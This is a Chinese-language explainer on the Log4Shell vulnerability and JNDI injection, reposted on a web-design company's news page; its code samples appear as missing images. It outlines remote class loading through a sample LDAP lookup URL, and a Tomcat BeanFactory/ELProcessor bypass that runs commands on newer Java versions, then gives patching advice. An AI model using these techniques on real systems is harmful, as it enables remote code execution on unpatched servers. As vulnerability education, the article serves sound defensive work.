Log4Shell和JNDI注入的基本常識和目前進展

2022-10-04    分類: 網(wǎng)站建設

最新爆發(fā)的Log4j2安全遠程漏洞,又稱“Log4Shell”,讓整個互聯(lián)網(wǎng)陷入了威脅之中,大量企業(yè)和Java項目都在緊鑼密鼓的升級更新補丁,還有很多安全研究人員在研究復現(xiàn)和利用以及防范方法,我們今天就來說說相關的常識和進展。

Log4Shell和JNDI注入的基本常識和目前進展

Log4Shell漏洞(正式編號CVE-2021-44228) 歸根結底是一個非常簡單的JNDI注入漏洞。Log4J在擴展占位符時在記錄消息時候(或間接作為格式化消息的參數(shù))執(zhí)行JNDI lookup()操作。在默認配置中,JNDI支持兩種協(xié)議:RMI和LDAP。在這兩種情況下,lookup()的調用實際上是為了返回一個Java對象。這通常為序列化的Java對象,但是還有一個通過于間接構造的JNDI引用。這個對象和引用字節(jié)碼可以通過遠程URL加載代(java類.class)。

關于JNDI和JNDI注入

JNDI,全稱Java Naming and Directory Interface(Java命名和目錄接口) 是Java中引入一種Java API,它允許客戶端通過名稱發(fā)現(xiàn)查找和共享Java數(shù)據(jù)和對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI)、通用對象請求代理架構(CORBA)、輕量級目錄訪問協(xié)議(LDAP)或域名服務(DNS)等。

Log4Shell和JNDI注入的基本常識和目前進展

換句話說,JNDI是一個簡單的Java API,例如:InitialContext.lookup(String name)它只接受一個字符串參數(shù),如果該參數(shù)來自不信任的來源,則可能會有遠程代碼的加載和執(zhí)行。

當請求對象的名稱被攻擊者控制時,有可能將存在問題的Java應用程序指向惡意的rmi/ldap/corba 服務器并使用任意對象進行響應。如果該對象是“javax.naming.Reference”類的實例,則JNDI客戶端會嘗試解析此對象的“classFactory”和“classFactoryLocation”屬性。如果目標Java應用程序不知道“classFactory”值,Java將使用Java URLClassLoader 從“classFactoryLocation”位置獲取Factory字節(jié)碼。

Log4Shell和JNDI注入的基本常識和目前進展

由于它的簡單性,即使“InitialContext.lookup”方法沒有直接暴露到受污染的數(shù)據(jù),它對于利用Java漏洞也非常有用。在某些情況下,它仍然可以通過反序列化或不安全反射攻擊來訪問。

一段易受攻擊的應用程序示例如下:

Log4Shell和JNDI注入的基本常識和目前進展

Java 8u191之前JNDI注入

通過請求“/lookup/?name=ldap://127.0.0.1:1389/Object”的鏈接,可以讓易受攻擊的服務器連接到控制的地址,并觸發(fā)遠程類加載。

一個惡意RMI實例服務示例如下:

Log4Shell和JNDI注入的基本常識和目前進展

由于目標服務器不知道“ExploitObject”,它的字節(jié)碼將從_attacke_指定的服務加載并執(zhí)行觸發(fā)RCE遠程執(zhí)行。

該方法在Java 8u121 中可良好運行,在Java 8u191 更新中,Oracle對LDAP添加了的限制,并發(fā)布了CVE-2018-3149補丁,關閉了JNDI遠程類加載。然而,仍然有可能通過JNDI注入觸發(fā)不可信數(shù)據(jù)的反序列化,但其利用高度依賴于現(xiàn)有的小工具。

Java 8u191+中利用JNDI注入

從Java 8u191開始,當JNDI客戶端接收到一個Reference對象時,無論是在RMI還是在LDAP中,都不會使用其“classFactoryLocation”值。但是,仍然可以在“javaFactory”屬性中指定任意工廠類。

該類將用于從攻擊者控制的“javax.naming.Reference”中提取真實對象。它應該存在于目標類路徑中,實現(xiàn)“javax.naming.spi.ObjectFactory”并至少有一個“getObjectInstance”方法:

Log4Shell和JNDI注入的基本常識和目前進展

public interface ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception; }

主要思想是在目標類路徑中找到一個Factory,它對引用的屬性做一些危險的事情。例如,在Apache Tomcat服務器的“org.apache.naming.factory.BeanFactory”類包含使用反射創(chuàng)建bean的邏輯:

Log4Shell和JNDI注入的基本常識和目前進展

Log4Shell和JNDI注入的基本常識和目前進展

Log4Shell和JNDI注入的基本常識和目前進展

“BeanFactory”類創(chuàng)建任意bean的實例并為所有屬性調用其設置器。目標bean 類名、屬性和屬性值都來自被攻擊者控制的Reference對象。

目標類應該有一個公共的無參數(shù)構造函數(shù)和只有一個“字符串”參數(shù)的公共設置器。 事實上,這些 setter 可能不一定從 'set..' 開始,因為“BeanFactory”包含一些為任何參數(shù)指定任意setter名稱的邏輯。

Log4Shell和JNDI注入的基本常識和目前進展

這里使用的魔法屬性是“forceString”。 例如,通過將其設置為“x=eval”,我們可以對屬性“x”進行名稱為“eval”而不是“setX”的方法調用。

因此,通過利用“BeanFactory”類,我們可以使用默認構造函數(shù)創(chuàng)建任意類的實例,并使用一個“String”參數(shù)調用任何公共方法。

此處可能有用的類之一是“javax.el.ELProcessor”。 在它的“eval”方法中,可以指定一個字符串來表示要執(zhí)行的Java表達式語言模板。

Log4Shell和JNDI注入的基本常識和目前進展

一個在評估時執(zhí)行任意命令的惡意表達式:

Log4Shell和JNDI注入的基本常識和目前進展

編寫一個示例的RMI服務器,它以精心制作的“ResourceRef”對象進行響應:

Log4Shell和JNDI注入的基本常識和目前進展

該服務以“org.apache.naming.ResourceRef”的序列化對象進行響應,其中包含了精心設計的屬性在客戶端觸發(fā)所需的行為。

然后在受害Java進程上觸發(fā)JNDI解析:

Log4Shell和JNDI注入的基本常識和目前進展

當這個對象被反序列化時,不會發(fā)生任何不受歡迎的事情。但由于它仍然擴展“javax.naming.Reference”,“org.apache.naming.factory.BeanFactory”工廠將在受害者方使用以從引用中獲取“真實”對象。在此階段,將觸發(fā)通過模板評估的遠程代碼執(zhí)行,并執(zhí)行“nslookup jndi.s.xxx”命令。

這里唯一的限制是目標Java應用程序的類路徑中應該有一個來自 Apache Tomcat服務器的“org.apache.naming.factory.BeanFactory”類,但其他應用程序服務器可能有自己的對象工廠,可以實現(xiàn)類似的功能。

總結

實際問題不在JDK或Apache Tomcat=中,而是由于用戶將不可控數(shù)據(jù)傳遞給“InitialContext.lookup()”函數(shù)的自定義應用程序中。即使使用最新的漏洞完全修補的JDK中,它存在潛在的安全風險。

在許多情況下,其他漏洞(例如“不受信任數(shù)據(jù)的反序列化”)也可能導致JNDI解析。通過使用源代碼審查來防止這些漏洞始終是一個好主意。

長期以來,對于RMI和LDAP,的引用沒有做任何限制。這樣對攻擊者指定的JNDI RMI或LDA 名稱的lookup調用就會導致直接的遠程代碼執(zhí)行。

自Java 8u121開始,RMI協(xié)議(但不是LDAP)默認不再允許遠程代碼庫。

LDAP之前有一個補丁(CVE-2009-1094),但這完全是對引用對象無效。因此,LDAP仍然允許直接遠程執(zhí)行代碼。直到Java 8u191的 CVE-2018-3149漏洞補丁中才解決。

在Java 8u191版本之前,都存在從受控JNDI lookup遠程類加載任意代碼執(zhí)行的風險。

但是新版本中RMI引用和工廠構造對象仍未被去除,只是禁止遠程代碼庫。可以通過Apache XBean BeanFactory 返回的引用來實現(xiàn)遠程代碼執(zhí)行。只要該類在目標系統(tǒng)上本地可用既可以,例如被包含到Tomcat或者 WebSphere中則仍然有利用的可能。

另外,RMI本質上是基于Java序列化的,而LDAP支持一個特殊的對象類,從目錄中反序列化Java對象從lookup()返回。 在這兩種情況下,除非應用了全局反序列化過濾器,否則JNDI注入將會導致反序列化不受信任的攻擊者提供的數(shù)據(jù)。雖然有一定的攻擊的復雜性,在許多情況下,仍然可用于遠程代碼執(zhí)行。

總之,不要依賴當前Java版本來解決這個問題,需要及時更新Log4j(或刪除JNDI lookup),或者禁用JNDI擴展才是完全的解決方案(可能不太現(xiàn)實)。

網(wǎng)站題目:Log4Shell和JNDI注入的基本常識和目前進展
標題網(wǎng)址:http://bm7419.com/news/201635.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供定制網(wǎng)站、營銷型網(wǎng)站建設、網(wǎng)站制作云服務器、品牌網(wǎng)站建設、Google

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

外貿網(wǎng)站制作